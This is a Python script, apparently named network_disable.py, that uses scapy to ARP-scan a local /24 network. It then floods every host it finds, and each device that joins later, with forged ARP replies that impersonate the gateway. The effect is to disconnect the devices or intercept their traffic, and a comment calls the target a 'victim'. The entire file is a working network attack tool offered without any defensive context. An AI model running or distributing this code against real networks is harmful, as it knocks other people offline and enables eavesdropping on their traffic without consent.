network_disable.py

from scapy.all import *
from scapy.packet import *
import threading
from time import sleep
def getmac(targetip):
    arppacket = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op=1, pdst=targetip)
    try:
        targetmac = srp(arppacket, timeout=3, verbose=False)[0][0][1].hwsrc
    except:
        targetmac = ""
    return targetmac

def find_ip():
    clients = []
    targetip_s = "192.168.1.1"
    targetip_s = targetip_s + "/24"
    arppacket = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op=1, pdst=targetip_s)
    result = srp(arppacket, timeout=10, verbose=0)[0]
    for sent, received in result:
        clients.append(received.psrc)
    return clients

def check_new_devices(old_devices, gatewayip, gatewaymac):
    while True:
        new_devices = find_ip()
        devices_diff = list(set(new_devices) - set(old_devices))
        print(new_devices)
        for targetip in devices_diff:
            try:
                targetmac = getmac(targetip)
                print("Target MAC", targetmac)
                trick = threading.Thread(target=revent_gateway_req, args=(targetip,targetmac,gatewayip,gatewaymac))
                trick.start()
            except:
                print("Target machine didn't respond to ARP broadcast")
        old_devices = new_devices

def revent_gateway_req(targetip, targetmac, gatewayip, gatewaymac):
    print("New device is being tricked!")
    try:
        targetmac = getmac(targetip)
        print("Target MAC", targetmac)
        while True:
            packet = ARP(op=1, pdst=targetip, hwdst=targetmac, psrc=gatewayip)
            send(packet, verbose=False)
            packet2 = ARP(op=1, pdst=gatewayip, hwdst=gatewaymac, psrc=targetip)
            send(packet2, verbose=False)
    except:
        print("Doesn't exist!")
def main():
    gatewayip = "192.168.1.1" # mine and my victim's gateway
    try:
        gatewaymac = getmac(gatewayip)
        print ("Gateway MAC:", gatewaymac)
    except:
        print("The gateway can not be reached")
        quit()
    ip_addrs = find_ip()
    for targetip in ip_addrs:
        try:
            targetmac = getmac(targetip)
            print("Target MAC", targetmac)
            trick = threading.Thread(target=revent_gateway_req, args=(targetip,targetmac,gatewayip,gatewaymac))
            trick.start()
            #revent_gateway_req(targetip, targetmac, gatewayip, gatewaymac)
        except:
            print("Target machine didn't respond to ARP broadcast")
    print("Exiting from the original loop")
    check_new_ips = threading.Thread(target=check_new_devices, args=(ip_addrs, gatewayip, gatewaymac))
    check_new_ips.start()

if __name__ == "__main__":
    main()